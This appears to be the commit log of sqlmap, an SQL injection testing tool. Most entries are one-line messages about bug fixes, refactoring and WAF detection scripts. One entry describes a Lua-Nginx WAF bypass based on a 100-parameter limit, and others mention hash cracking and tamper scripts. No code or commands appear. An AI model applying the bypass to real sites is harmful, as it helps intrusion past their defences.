Miroslav Stampar e8f505b701 First memory leak patched (related to the #3459) 2019-01-29 17:40:06 +01:00
Miroslav Stampar dddff45adb Patch for --update progress 2019-01-29 14:59:31 +01:00
Miroslav Stampar b3777995b2 Minor patch for progress dots 2019-01-29 14:55:38 +01:00
Miroslav Stampar a52328bfba Adding new WAF script (Bekchy) 2019-01-29 14:29:58 +01:00
Miroslav Stampar a303d6712e Patch related to the #3455 2019-01-29 12:30:51 +01:00
Miroslav Stampar e01a7908aa Trivial renaming update 2019-01-26 12:36:03 +01:00
Miroslav Stampar 4b5457903a Minor update 2019-01-24 11:36:48 +01:00
Richard Fontana 78da395506 Add GPL Cooperation Commitment (#3445) 2019-01-24 11:07:13 +01:00
Miroslav Stampar 44a8242d2f Dummy commit to force md5-resum 2019-01-23 21:07:51 +01:00
neargle 66e2fc302c Add MySQL sys Schema in MYSQL_SYSTEM_DBS (#3443) 2019-01-23 20:58:53 +01:00
Miroslav Stampar bdc4457f34 Old exception handling format to new one 2019-01-22 14:09:13 +01:00
Miroslav Stampar ba356baab0 Minor stability patch for multi-threading console output (#3284) 2019-01-22 13:45:16 +01:00
Miroslav Stampar ae6235ce20 Fixes #3440 2019-01-22 13:06:13 +01:00
Miroslav Stampar ef8530af5b Fixing mess with template payloads and URI/JSON/XML/custom cases 2019-01-22 11:08:57 +01:00
Miroslav Stampar 3d88dc0a51 Fixes #3439 2019-01-22 10:12:17 +01:00
Miroslav Stampar a31ac0376d Minor refactoring related to last couple of commits 2019-01-22 03:14:23 +01:00
Miroslav Stampar 8f13bda035 Some more preparing for 2to3 (keys() is iter in 3) 2019-01-22 03:00:44 +01:00
Miroslav Stampar 1adc66b763 Dealing with deprecated next() 2019-01-22 02:47:06 +01:00
Miroslav Stampar 2c270ed250 One more 2to3 baby step 2019-01-22 02:29:52 +01:00
Miroslav Stampar 7074365f8e More refactoring like the last couple of commits 2019-01-22 02:08:02 +01:00
Miroslav Stampar fd705c3dff Baby steps 2019-01-22 01:28:24 +01:00
Miroslav Stampar db3bed3f44 Update related to the last commit 2019-01-22 01:20:27 +01:00
Miroslav Stampar 7672b9a0a2 Baby steps (2 to 3 at a time) 2019-01-22 00:40:48 +01:00
Miroslav Stampar 17b79cd21b Minor cleanup 2019-01-20 16:49:14 +01:00
Miroslav Stampar 36b69bbe79 More cleaning up 2019-01-20 15:34:30 +01:00
Miroslav Stampar daa915a6f2 Removing unusable WAF script 2019-01-20 15:26:57 +01:00
Miroslav Stampar 01dba5c505 Removing obsolete WAF 2019-01-20 15:13:43 +01:00
Miroslav Stampar b5db4dc15a Trivial update (comment) 2019-01-18 14:31:37 +01:00
Miroslav Stampar 915d2bdec0 Minor patch related to the 3438 2019-01-17 15:12:31 +01:00
Miroslav Stampar 7eb45b9d8f Patch related to the #3438 2019-01-17 15:06:00 +01:00
Miroslav Stampar 669afdd81b Adding new waf script 2019-01-16 14:38:50 +01:00
Miroslav Stampar 21ce71bee8 Removing junk 2019-01-16 10:32:56 +01:00
Miroslav Stampar 40f067aa17 Adding new WAF scripts (merging from identYwaf - same author) 2019-01-15 00:41:00 +01:00
Miroslav Stampar 6cdb90ddf8 Same sentence in Cloudflare (too) 2019-01-14 11:35:54 +01:00
Miroslav Stampar c0d4db3aba URI injection patch (on request by @bojanisc) 2019-01-13 12:07:46 +01:00
Miroslav Stampar d086b2aca0 Minor update of WAF scripts 2019-01-12 17:47:43 +01:00
Miroslav Stampar 7cf4b0e1d2 Too generic (removing) 2019-01-12 02:38:54 +01:00
Miroslav Stampar 660036c38b New WAF script 2019-01-12 01:56:18 +01:00
Miroslav Stampar 0a3144ebb5 New WAF script (Squarespace) 2019-01-12 00:15:13 +01:00
Miroslav Stampar 02d66db7e0 New WAF script (SiteGuard) 2019-01-11 23:00:28 +01:00
Miroslav Stampar c94bddd924 Adding new WAF script 2019-01-11 22:33:08 +01:00
Miroslav Stampar aea3749015 Dealing with FP for expressionengine.py 2019-01-11 12:35:35 +01:00
Miroslav Stampar 204c1950fc Fixes #3433 2019-01-10 16:43:06 +01:00
Miroslav Stampar 17be4d6374 Minor update 2019-01-10 16:05:46 +01:00
Miroslav Stampar d7ba7150ce Removing junk 2019-01-10 15:56:49 +01:00
Miroslav Stampar d31d2eeb27 Minor updates and removal of faulty denyall.py WAF script (junk - FP) 2019-01-10 15:35:52 +01:00
Miroslav Stampar c74c58c47e Varnish Cache is not a proof of Varnish WAF usage 2019-01-10 14:27:19 +01:00
Miroslav Stampar d16252e959 Removing junk 2019-01-10 14:19:20 +01:00
Miroslav Stampar 9fef4336b0 Minor update of safe3 WAF script 2019-01-10 14:19:03 +01:00
Miroslav Stampar aa7af33fd5 Update of airlock WAF script 2019-01-10 13:40:51 +01:00
Miroslav Stampar 241c6b02f0 Update of distil WAF script 2019-01-10 13:23:34 +01:00
Miroslav Stampar 915ee5ce53 Trivial file renaming 2019-01-10 13:06:35 +01:00
Miroslav Stampar beee81697c Removing some junk 2019-01-10 11:31:09 +01:00
Nicolas Bonnet 880545cad4 Fix incompatible errMsg for tor and osPwn args (#3432) 2019-01-10 11:28:10 +01:00
Miroslav Stampar 5274c88c7d Minor patch of --identify-waf mechanism 2019-01-09 16:26:11 +01:00
Miroslav Stampar 9a221470e7 Minor patch 2019-01-09 15:44:11 +01:00
Miroslav Stampar 256ec75580 Trivial update of banner 2019-01-09 15:12:16 +01:00
Miroslav Stampar debb64167a Minor update of WAF scripts 2019-01-08 15:36:28 +01:00
Miroslav Stampar 49514adcd9 Minor patch 2019-01-08 12:58:27 +01:00
Miroslav Stampar 02b78d2691 Update of WAF scripts 2019-01-08 12:41:05 +01:00
Miroslav Stampar 82e3c48c8c Removing junk 2019-01-08 11:17:42 +01:00
Miroslav Stampar 243b564b6a Minor updates to WAF scripts 2019-01-07 17:22:16 +01:00
Miroslav Stampar cb72223452 Minor patch 2019-01-07 16:23:18 +01:00
Miroslav Stampar bf207a7ea6 Minor improvement 2019-01-07 16:06:33 +01:00
Miroslav Stampar 3b4e44a38d Better results with following the redirect in identifyWaf phase 2019-01-07 16:05:59 +01:00
Miroslav Stampar 97cf5b9ace New WAF script 2019-01-07 15:52:22 +01:00
Miroslav Stampar ba617c49a4 Minor patch 2019-01-07 15:35:54 +01:00
Miroslav Stampar 929df9bc34 Minor update of WAF scripts 2019-01-07 15:29:35 +01:00
Miroslav Stampar 48cdc6a308 Wrong naming fix 2019-01-07 14:44:31 +01:00
Miroslav Stampar 3b7ef42b30 Goodbye junk 2019-01-07 14:23:20 +01:00
Miroslav Stampar bdddc5c333 Some more junk removal 2019-01-07 14:21:09 +01:00
Miroslav Stampar 8ceff3dcc7 Cleaning junk and updating asm.py WAF script 2019-01-07 14:13:29 +01:00
Miroslav Stampar fcfbc5d59f Removing junk 2019-01-07 13:56:37 +01:00
Miroslav Stampar 12883cac16 Minor update 2019-01-07 13:45:01 +01:00
Miroslav Stampar 9f75fd4fb8 New WAF scripts 2019-01-07 02:58:47 +01:00
Miroslav Stampar 54d0678cbe Adding new WAF scripts 2019-01-07 01:21:07 +01:00
Miroslav Stampar 30497acd0c Minor update of ExpressionEngine WAF script 2019-01-06 03:48:56 +01:00
Miroslav Stampar ed0420e635 Update of WAF script for Cloudfront 2019-01-06 03:22:15 +01:00
Miroslav Stampar 094ce29709 Removing useless netscaler WAF script (passive appliance) 2019-01-06 03:11:31 +01:00
Miroslav Stampar ddd8712c4f Trivial cleanup 2019-01-06 02:30:05 +01:00
Miroslav Stampar 37449262df Fixes #3425 2019-01-06 02:29:09 +01:00
Miroslav Stampar 45c699e9cf Minor patch 2019-01-06 00:37:30 +01:00
Miroslav Stampar e22fab1945 Minor update of PyPI info 2019-01-06 00:29:31 +01:00
Miroslav Stampar e3134cc965 Final preparation for 1.3 2019-01-05 23:14:28 +01:00
Miroslav Stampar 5957aad738 Update of checksums 2019-01-05 22:58:28 +01:00
Miroslav Stampar 4c4de54ad8 Prepare for 1.3 2019-01-05 21:48:39 +01:00
Miroslav Stampar 590e8ed5ae update_copyright_year() 2019-01-05 21:38:52 +01:00
Miroslav Stampar 12427ff6f8 Minor update 2019-01-05 21:29:59 +01:00
Miroslav Stampar 45d0010323 Most probably solves #3422 2018-12-31 01:20:43 +01:00
Miroslav Stampar e18b41fc82 Fixes #3421 2018-12-31 01:03:40 +01:00
Miroslav Stampar 586c461ae6 Minor patch 2018-12-31 01:01:19 +01:00
Miroslav Stampar c799e794f2 Minor update of modsecurity.py 2018-12-29 20:40:49 +01:00
Miroslav Stampar b31c264a59 Minor update 2018-12-28 20:49:40 +01:00
Miroslav Stampar a569f21ad7 Bug fix (--smoke hasn't tested wrapped functions) 2018-12-28 18:25:56 +01:00
Miroslav Stampar 8092551fa9 Minor refactoring 2018-12-28 18:22:44 +01:00
Miroslav Stampar 83972d405f Trivial text update 2018-12-28 17:54:58 +01:00
Miroslav Stampar de0df99d8e Update regarding #3418 (fallback for MsSQL's --passwords) 2018-12-28 00:41:48 +01:00
Miroslav Stampar ddee027afb Minor message update 2018-12-26 23:23:49 +01:00
Miroslav Stampar 6ce0350abc Fixes #3420 2018-12-26 22:12:13 +01:00
Miroslav Stampar 37de01e993 Fixes #3417 2018-12-23 10:18:27 +01:00
Miroslav Stampar 63cca82288 Fixes #3415 2018-12-23 09:58:04 +01:00
Denis 7d1c2633c9 Add contributed Ukrainian translation (#3414) 2018-12-23 09:24:53 +01:00
Miroslav Stampar 9564c8e8b1 Refactoring regarding casting warnings 2018-12-21 11:29:57 +01:00
Miroslav Stampar 5e099144d3 Minor message update 2018-12-21 10:38:27 +01:00
Miroslav Stampar a007cd30e5 Fixes #3412 2018-12-19 11:11:56 +01:00
Miroslav Stampar 4c9e0b9f1e Adding Bluedon WAF script 2018-12-18 00:35:08 +01:00
Miroslav Stampar 0c3fbc46df Adding Approach WAF script 2018-12-18 00:08:56 +01:00
Miroslav Stampar 107d9f90ad Minor message update 2018-12-17 23:41:04 +01:00
Miroslav Stampar daafe9b74a Bug fix (OR boolean based blind caused trouble to UNION with negative logic) 2018-12-17 23:25:23 +01:00
Miroslav Stampar 9727f0d691 Minor patch (--parse-errors with lots of HTML inside) 2018-12-17 22:49:09 +01:00
Miroslav Stampar 61e0459ec8 Minor update 2018-12-17 17:48:22 +01:00
Miroslav Stampar c5802a5367 Minor update related to the last commit 2018-12-17 17:43:11 +01:00
Miroslav Stampar 01d5da18e3 Adding experimental option --crack 2018-12-17 17:38:47 +01:00
Miroslav Stampar b288bfdbc3 Minor update 2018-12-17 17:03:51 +01:00
Miroslav Stampar 1e508547d8 Trivial console output update 2018-12-17 16:08:14 +01:00
Miroslav Stampar 4fe4c582c1 Minor output adjustments 2018-12-17 15:15:54 +01:00
Miroslav Stampar 28e7c8f378 Refactoring KeyboardInterrupt mess 2018-12-17 15:00:57 +01:00
Miroslav Stampar c497aa98ed Minor TCP optimization 2018-12-17 14:19:59 +01:00
Miroslav Stampar 4ba9e9397c One more update of DBMS error messages 2018-12-16 16:24:01 +01:00
Miroslav Stampar eedfa8c888 Another update of DBMS error messages 2018-12-16 16:00:04 +01:00
Miroslav Stampar c224ea0e37 Update of DBMS error messages 2018-12-16 15:20:46 +01:00
Miroslav Stampar f544554475 Bug fix (--forms with --url without protocol) 2018-12-16 02:56:31 +01:00
Miroslav Stampar c7c7e30130 Potential patch for #3374 2018-12-14 10:45:42 +01:00
Miroslav Stampar d1426a023f Fixes #3408 2018-12-14 10:09:40 +01:00
nil0x42 83a1b9b2e7 errors.xml: detect mysqli_*() errors. (#3407)
MySQL injection error message often happen with
mysqli_*() functions nowadays.
POC: https://duckduckgo.com/?q=%22warning..mysqli
2018-12-14 10:08:52 +01:00
Miroslav Stampar 38684ec220 Fixes #3403 2018-12-11 13:28:51 +01:00
Miroslav Stampar 2e5edce8b9 Fixes #3399 2018-12-10 15:22:53 +01:00
Miroslav Stampar a02662f03f Trivial cleanup 2018-12-10 14:53:53 +01:00
Miroslav Stampar 2c95b65eac Implementation for #2552 (sorry @mg98) 2018-12-10 14:53:11 +01:00
Miroslav Stampar e47c1aa61b Resolving some more hooking problems 2018-12-10 13:21:36 +01:00
Miroslav Stampar f81062d595 Resolving some more hooking problems 2018-12-10 13:20:34 +01:00
Miroslav Stampar ef911b6be4 Dummy commit (just to test hooks) 2018-12-10 13:10:01 +01:00
Miroslav Stampar 4f1b0787ed Commit hooks were disabled 2018-12-10 13:04:53 +01:00
Miroslav Stampar 070e173067 Another patch for #3389 (Fixes #3397) 2018-12-10 12:59:13 +01:00
Miroslav Stampar f04584bb68 Update of error message regexes 2018-12-07 11:22:53 +01:00
Miroslav Stampar 66d26f67bf Manual tagging (automatic tagging failed for some reason) 2018-12-07 10:06:31 +01:00
Miroslav Stampar 101d1f0d49 Fixes #3395 2018-12-03 23:18:52 +01:00
Miroslav Stampar 843126702d Fixes #3392 2018-12-03 23:12:45 +01:00
Miroslav Stampar 65f227fe65 Bug fix (privately reported: --technique=E --where='id=1') 2018-12-03 23:07:13 +01:00
Miroslav Stampar 536d9a597e Minor language update 2018-12-03 22:59:46 +01:00
Miroslav Stampar 0ce2128a9b Fixes #3394 2018-12-03 22:40:44 +01:00
Miroslav Stampar e7ed2bbcbb Fixes #3391) 2018-11-30 11:29:17 +01:00
Miroslav Stampar 560ff4154b Fixes #3388 (and refactors #1578) 2018-11-29 00:09:05 +01:00
Miroslav Stampar 1d0d5f1675 Fixes #3389 2018-11-28 23:09:13 +01:00
Miroslav Stampar f1a3c81aec Bug fix for handling of custom headers 2018-11-28 00:29:17 +01:00
Miroslav Stampar 277a4fa402 Potential patch for #3167 2018-11-26 23:40:47 +01:00
Miroslav Stampar 037db0f4a0 Fixes #3381 2018-11-23 15:55:05 +01:00
Miroslav Stampar 3f1bf742fc Fixes #3379 2018-11-22 08:07:27 +01:00
Miroslav Stampar abb911d741 Just for the sake of #3377 2018-11-19 09:53:09 +01:00
Miroslav Stampar dc5edf1a86 Patch regarding #3377 2018-11-19 09:52:09 +01:00
Miroslav Stampar e11febdcbc Fixes #3375 2018-11-19 09:44:13 +01:00
Miroslav Stampar f2af8861f9 Some more updates regarding #3140 2018-11-15 17:13:13 +01:00
Miroslav Stampar 2895e5c20f Initial commit for #3140 2018-11-15 15:27:17 +01:00
Miroslav Stampar b1e8c75672 Update README.md 2018-11-14 12:59:40 +01:00
Miroslav Stampar 6cc52cc12a Fixes #3366 2018-11-12 14:07:41 +01:00
Miroslav Stampar ddf353b86e Fixes #3357 2018-11-04 14:36:38 +01:00
Miroslav Stampar e6535d359d Update related to the #3358 2018-11-04 14:17:53 +01:00
Miroslav Stampar 90e381a5a5 Another update related to the #3356 2018-11-02 16:18:08 +01:00
Miroslav Stampar e99e9919cd Update related to the #3356 2018-11-02 15:44:44 +01:00
Miroslav Stampar dbdfbcc425 Adding dates to the start/end time 2018-11-01 22:59:20 +01:00
Miroslav Stampar 1d6832a84a Cosmetic update (not patch) related to the #3354 2018-11-01 22:41:33 +01:00
Miroslav Stampar 73d83280fe Minor patch (bounded injection case with leftover marker) 2018-11-01 22:24:36 +01:00
Miroslav Stampar 1bd8c519c3 Minor just in case update 2018-10-30 15:41:39 +01:00
Miroslav Stampar a4fdbf1343 Patch related to the #3348 2018-10-30 11:13:09 +01:00
Miroslav Stampar 130879fbf3 Minor patches 2018-10-30 10:37:39 +01:00
Miroslav Stampar db5ae9ae0b Minor update to #3326 (adding generic code >= 400) 2018-10-29 09:55:14 +01:00
Syed Afzal cc4833429f added china cache (#3326) 2018-10-29 09:51:18 +01:00
Miroslav Stampar 703b7079a4 Fixes #3319 2018-10-27 14:30:28 +02:00
Miroslav Stampar ef52ee977f Minor patch 2018-10-27 14:14:21 +02:00
Miroslav Stampar ba1b4c50be Trivial cleanup 2018-10-26 23:40:08 +02:00
Miroslav Stampar 1e7dfe11b4 Fixes #3318 2018-10-26 23:38:37 +02:00
Miroslav Stampar 92febd22a8 Minor update 2018-10-26 23:01:19 +02:00
Miroslav Stampar 83081b5e14 Minor patch related to the #3316 2018-10-26 14:00:51 +02:00
Miroslav Stampar f2035145fe Another update related to the #3316 2018-10-26 12:10:22 +02:00
Miroslav Stampar 48b407c0fa Updates regarding the #3316 2018-10-26 12:09:21 +02:00
Jennifer Torres 4466504f30 Lua-Nginx WAFs Bypass (#3316)
* Lua-Nginx WAFs Bypass

Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
https://www.youtube.com/watch?v=JUvro7cqidY

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

Update header.

* Update luanginxwafbypass.py
2018-10-26 12:04:37 +02:00
Miroslav Stampar dc65afe65a Minor update related to the #3283 2018-10-24 16:33:23 +02:00
Miroslav Stampar 132e963b53 More general TypeMismatchException (for Hibernate too) 2018-10-24 15:12:13 +02:00
Miroslav Stampar f52beff7c3 Minor patch to handle late ImportError reports 2018-10-22 11:21:30 +02:00
Miroslav Stampar feb93dce44 Update related to the #3304 2018-10-17 12:24:52 +02:00
Miroslav Stampar e52422900e Fixes #3303 2018-10-16 19:37:27 +02:00
Miroslav Stampar c045afd842 Minor cleanup 2018-10-16 14:53:41 +02:00
Miroslav Stampar 0d2db32539 Finalizing #3283 2018-10-16 14:47:09 +02:00
Miroslav Stampar 77f4fd93e7 Minor leftover 2018-10-16 13:27:31 +02:00
Miroslav Stampar 68f5597b4a Some cleaning up for #3283 2018-10-16 13:26:55 +02:00
Miroslav Stampar 411f56e710 Initial implementation for #3283 2018-10-16 12:23:07 +02:00
Miroslav Stampar fb95ab8c17 Initial commit for #3283 (fixing H2 misidentification with PgSQL and/or HSQLDB) 2018-10-16 08:02:38 +02:00
Miroslav Stampar 9f6e04b141 Minor update of help text 2018-10-15 02:15:05 +02:00
Miroslav Stampar 1f2bdf5a3d Trivial message update 2018-10-15 00:56:23 +02:00
Miroslav Stampar 465a1e1a86 Minor update 2018-10-15 00:53:26 +02:00
Miroslav Stampar 6af127cb64 Fixes #3286 2018-10-14 22:17:10 +02:00
Miroslav Stampar 880d438418 Fixes #3284 2018-10-12 00:29:43 +02:00
Miroslav Stampar 5efe3228f8 Patch related to the #3282 2018-10-12 00:16:42 +02:00
Miroslav Stampar e005ba3f77 Minor patch 2018-10-11 23:59:09 +02:00
Miroslav Stampar f2b4dc3ffc Fixes #3275 2018-10-08 23:34:55 +02:00
Miroslav Stampar d1022f3f59 Fixes #3246 2018-10-04 13:51:41 +02:00
Miroslav Stampar 3984b94297 Fixes #3271 2018-10-04 13:42:13 +02:00
Miroslav Stampar eba01ee74e Just in case patch (for --api) 2018-10-03 12:46:40 +02:00
Miroslav Stampar 36b660309b Minor patch 2018-10-03 12:28:55 +02:00
Miroslav Stampar fd89fdf40b Minor cleaning up 2018-10-03 11:27:51 +02:00
Miroslav Stampar 2e53096962 Fixes #3268 2018-10-03 11:02:13 +02:00
Miroslav Stampar 79e45bd8d7 Minor update 2018-10-02 15:10:31 +02:00
Miroslav Stampar ed5f4abebd Minor updates 2018-10-02 14:56:20 +02:00
Miroslav Stampar 03bbfdbc56 Can't work out of the box (too many unknowns) 2018-10-02 14:11:26 +02:00
Miroslav Stampar 1b6365b195 Minor cleanup 2018-10-02 14:07:14 +02:00
Miroslav Stampar d38a0542d8 Minor update 2018-10-02 13:48:39 +02:00
Miroslav Stampar 9182b90b2b Removing an obsolete utility 2018-10-02 12:58:25 +02:00
Miroslav Stampar 80af22435a Update README.md 2018-10-02 12:21:29 +02:00
Miroslav Stampar 065c5e8157 Fixes #3264 2018-09-29 23:10:03 +02:00
Miroslav Stampar 932aa8dd94 Fixes #3262 2018-09-28 13:12:21 +02:00
Miroslav Stampar 71208e891c Update regarding #3258 2018-09-27 09:15:53 +02:00
Miroslav Stampar 3b369920a1 Minor patch related to the #3257 2018-09-26 15:33:34 +02:00
Miroslav Stampar 68a83098ab Update of THANKS (based on 2017 donation) 2018-09-25 14:06:32 +02:00
Miroslav Stampar f4a0820dcb Merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) 2018-09-24 14:00:58 +02:00
Miroslav Stampar 459e1dd9a4 Update related to the #3252 2018-09-24 10:26:27 +02:00
Miroslav Stampar 4b698748f7 Fixes #3247 2018-09-21 23:25:25 +02:00
Miroslav Stampar e697354765 Fixing non-resumal of MsSQL/Sybase/MaxDB enumeration queries 2018-09-21 23:06:45 +02:00
Miroslav Stampar 721046831b Minor patch 2018-09-21 22:15:29 +02:00
Miroslav Stampar a4068f9abf Minor update 2018-09-20 16:52:02 +02:00
Miroslav Stampar 245c5e64e9 Minor cleanup 2018-09-19 11:13:59 +02:00
Miroslav Stampar cd08d13647 Adding a generic parameter replace payload 2018-09-19 11:05:55 +02:00
Miroslav Stampar 8abae02111 Improvement of anti-CSRF token extraction 2018-09-18 22:05:52 +02:00
Miroslav Stampar dd9bfd13f2 Trivial update 2018-09-18 17:03:27 +02:00
Miroslav Stampar 0c7eecee9f Trivial update (message language) 2018-09-18 16:52:17 +02:00
Miroslav Stampar 3e72da66f9 Minor update (preventing WAF specific response reports on generic 403) 2018-09-18 16:45:08 +02:00
Miroslav Stampar ca9a56c0ff Minor update of WebKnight WAF script 2018-09-15 23:27:24 +02:00
Miroslav Stampar 2d2b20344d Minor patch for bigip WAF script 2018-09-15 23:17:32 +02:00
Miroslav Stampar a8a7dee800 Fixes #3239 2018-09-15 21:36:21 +02:00
Miroslav Stampar 35d9ed8476 Cleaning a mess with stacked queries and pre-WHERE boundaries 2018-09-14 10:30:58 +02:00
Miroslav Stampar a5e3dce26f Proper naming 2018-09-14 10:01:31 +02:00
Miroslav Stampar 71448b1c16 Minor refactoring 2018-09-14 09:45:04 +02:00
Miroslav Stampar a633bc7f32 Trivial cleanup 2018-09-13 11:41:19 +02:00
Miroslav Stampar 6697e49f75 Adding aesecure and crawlprotect WAF scripts 2018-09-13 11:09:32 +02:00
xxbing db8bcd1d2e update xforwarder tamper (#3236) 2018-09-13 10:50:58 +02:00
Miroslav Stampar 16c052ef13 Fixes #3234 (user entered input) 2018-09-12 14:39:07 +02:00
Miroslav Stampar a8c0722631 Minor update regarding #3230 2018-09-10 12:43:59 +02:00
Miroslav Stampar c9a73aeed1 Minor patch for #3226 2018-09-10 11:51:00 +02:00
Miroslav Stampar 470b68a83c Implementation for Issue #3226 2018-09-10 11:47:19 +02:00
Miroslav Stampar f01ae291f8 Update related to the #3231 2018-09-10 10:27:28 +02:00
Ehsan Nezami c36749c3bb add u_pass to columns (#3231) 2018-09-10 10:26:28 +02:00
Miroslav Stampar 63b84c31e5 Update regarding the #3229 2018-09-08 23:36:08 +02:00
Miroslav Stampar ec253dd5bd Support for table name retrieval from mysql.innodb_table_stats (fallback if primary fails) 2018-09-07 11:53:43 +02:00
Miroslav Stampar 4c25a20efc Docstring update and smalldict update (merge with top1575) 2018-09-07 11:23:47 +02:00
Miroslav Stampar 2b56bdfaa6 Patch for MsSQL column name injection 2018-09-06 13:59:07 +02:00
Miroslav Stampar c37014b8e8 Implementation for an Issue #647 2018-09-06 00:59:29 +02:00
Miroslav Stampar 349e9b9fa5 Minor commit related to the #120 2018-09-06 00:16:59 +02:00
Miroslav Stampar ac481492c0 Final commit for #120 2018-09-05 23:29:52 +02:00
Miroslav Stampar 91c5151770 Another update related to the #120 2018-09-05 00:56:39 +02:00
Miroslav Stampar ad5a731999 First commit for Issue #120 2018-09-05 00:16:35 +02:00
Miroslav Stampar 95be19a692 Minor update 2018-09-05 00:15:15 +02:00
Miroslav Stampar dbcf030743 Accepting even dummy (e.g.) 'y' for --answers 2018-09-04 23:30:58 +02:00
Miroslav Stampar fa3f3baf1e Minor update 2018-09-04 23:24:40 +02:00
Miroslav Stampar f125f64a80 Minor style update (marker for empty cracked password) 2018-09-04 23:14:25 +02:00
Miroslav Stampar 12012b36b1 Automatic disabling of socket-preconnect for known problematic server (SimpleHTTPServer) 2018-09-04 23:01:17 +02:00
Miroslav Stampar 43c9e21c56 Performance improvement and reducing number of false-positives in heavily dynamic pages 2018-09-04 22:39:07 +02:00
Miroslav Stampar a831865633 Further narrowing down cloudfront WAF script (less FP on detection) 2018-08-30 17:44:37 +02:00
Miroslav Stampar 578c41f6de Fine tuning Incapsula WAF script 2018-08-30 16:49:06 +02:00
Miroslav Stampar dc01f2e773 Fine tuning of Cloudfrount WAF script (less FP) 2018-08-30 16:42:35 +02:00
Miroslav Stampar db327a8538 Minor update of WAF scripts 2018-08-30 16:19:31 +02:00
Miroslav Stampar aefb815064 Cutting down FP on Varnish WAF (ignoring Varnish Cache) 2018-08-30 16:02:27 +02:00
Miroslav Stampar 014978cebc Fine tuning Cloudflare WAF script 2018-08-30 16:00:40 +02:00
Miroslav Stampar 287371337d Update of ZENEDGE WAF script 2018-08-30 15:56:13 +02:00
Miroslav Stampar 62a3618353 Minor patches 2018-08-30 15:50:17 +02:00
Miroslav Stampar 366a3f9336 Detect redirect from stdout 2018-08-30 15:21:46 +02:00
Miroslav Stampar 74d2b60cf3 Minor colorization of WAF Detectify 2018-08-30 15:18:42 +02:00
Miroslav Stampar 9e892e93f3 Created a WAF Detectify utility 2018-08-30 14:54:15 +02:00
Miroslav Stampar 0bbf5f9467 Update of dotDefender WAF script 2018-08-29 12:21:33 +02:00
Miroslav Stampar 8be4b29fd1 Update of Incapsula WAF script 2018-08-29 12:13:22 +02:00
Miroslav Stampar 0507234add Minor update 2018-08-29 11:06:45 +02:00
Miroslav Stampar c3d9a1c2d4 Airlock also uses AL_SESS-S cookie 2018-08-29 10:56:24 +02:00
Miroslav Stampar 9e8b28be7c Minor patch (e.g. case: user's) 2018-08-28 14:33:48 +02:00
Miroslav Stampar f3f4a4cb37 Minor refactoring 2018-08-28 14:31:20 +02:00
Miroslav Stampar 2280f3ff2d Updating old links 2018-08-28 14:13:48 +02:00
Miroslav Stampar d6cf038e48 Fixes #3216 2018-08-25 22:57:49 +02:00
Miroslav Stampar 2dfc383700 Fixes #3215 2018-08-22 17:58:00 +02:00
Miroslav Stampar f20e7b403a Fixes #3211 2018-08-22 10:41:43 +02:00
Miroslav Stampar 36e62fe8a7 Minor update 2018-08-22 10:20:26 +02:00
Miroslav Stampar 2542b6d241 Minor patch (https version of site is not available) 2018-08-20 19:44:25 +02:00
Miroslav Stampar bc13d8923b Adding long_description to PyPI upload script 2018-08-20 19:43:27 +02:00
Miroslav Stampar e51db6b355 Update README.md 2018-08-20 19:33:19 +02:00
Miroslav Stampar 6d28ca1f93 Bug fix (single-quoted strings in long results caused line breaks) 2018-08-18 00:02:39 +02:00
Miroslav Stampar 03e4741a69 Trivial patch (display of used user queries) 2018-08-17 19:45:34 +02:00
Miroslav Stampar b899ab9eb3 Bug fix (sha-256,sha384... were recognized, though, not cracked) 2018-08-13 15:27:08 +02:00
Miroslav Stampar 2e017eee99 Fixes #3203 2018-08-10 14:16:27 +02:00
Miroslav Stampar a296d22195 Fixes #3205 2018-08-10 14:01:55 +02:00
Miroslav Stampar ad11749b15 One more payload (requires usage of --code or similar) 2018-08-09 16:21:35 +02:00
Miroslav Stampar 75a64245c5 Minor patch for colorization (multiple quoted strings in same line) 2018-08-09 16:21:04 +02:00
Miroslav Stampar 9e00202823 Minor patch (use redirection code for comparison) 2018-08-09 15:39:37 +02:00
Miroslav Stampar df977d93d4 Fixes #3204 2018-08-09 15:08:21 +02:00
Miroslav Stampar b0ca52086a Fixes #3202 2018-08-07 23:35:58 +02:00
Miroslav Stampar af89137f2c Update of WAF scripts 2018-08-05 14:19:27 +02:00
Miroslav Stampar 1f9bf587b5 Implementation for an Issue #3108 2018-07-31 02:18:33 +02:00
Miroslav Stampar f0e4c20004 First commit related to the #3108 2018-07-31 01:17:11 +02:00
Miroslav Stampar cef416559a Minor update 2018-07-31 00:20:52 +02:00
Miroslav Stampar ce47b6c76e Minor patch 2018-07-27 01:39:04 +02:00
Miroslav Stampar 39108bc100 Trivial refactoring of unused variables 2018-07-27 00:59:24 +02:00
Miroslav Stampar f63ceaa0c1 Minor refactoring 2018-07-27 00:53:14 +02:00
Miroslav Stampar 1e60378fb2 Minor refactoring 2018-07-27 00:30:30 +02:00
Miroslav Stampar 22c7bc54b4 Minor patch 2018-07-27 00:01:23 +02:00
Miroslav Stampar 5f1bae86b0 Fixes #3194 2018-07-19 18:00:56 +02:00
Miroslav Stampar a0cbf6991d Minor style update 2018-07-18 17:00:34 +02:00
Miroslav Stampar 9f2bc00426 Minor patch 2018-07-18 16:30:59 +02:00
Miroslav Stampar 6bb486c1bf Potential patch for #3192 2018-07-18 15:34:38 +02:00
Miroslav Stampar 741ce9e3f0 Trivial update (just to reset checksums) 2018-07-15 16:08:01 +02:00
Anastasios Stasinopoulos a479655097 Minor patch (--purge instead of --purge-output) (#3188) 2018-07-15 11:28:34 +02:00
Miroslav Stampar 4846d85ccd Pre-fetching latest revision number in case of update 2018-07-11 19:30:14 +02:00
Miroslav Stampar 3c439c3929 Known cause of majority of false-positives (Issue #3176) 2018-07-11 16:12:57 +02:00
Miroslav Stampar 5cc36a5736 Revert of last commit (Fixes #3179) 2018-07-10 15:54:06 +02:00
Miroslav Stampar 29dcdd3bef Potential patch for #3178 2018-07-10 15:35:07 +02:00
Miroslav Stampar 53eadb0af8 Fixes #3173 2018-07-09 12:22:51 +02:00
Miroslav Stampar 7b705b94e3 Fixes #3171 2018-07-09 12:20:18 +02:00
Miroslav Stampar 558484644a Minor refactoring 2018-07-06 16:22:19 +02:00
Miroslav Stampar e84142b6a9 Fixes #3172 2018-07-06 16:18:04 +02:00
Miroslav Stampar b44551230e Fixes #3165 2018-07-05 15:13:51 +02:00
Miroslav Stampar 4ecf6eee05 Minor style update 2018-07-05 14:21:32 +02:00
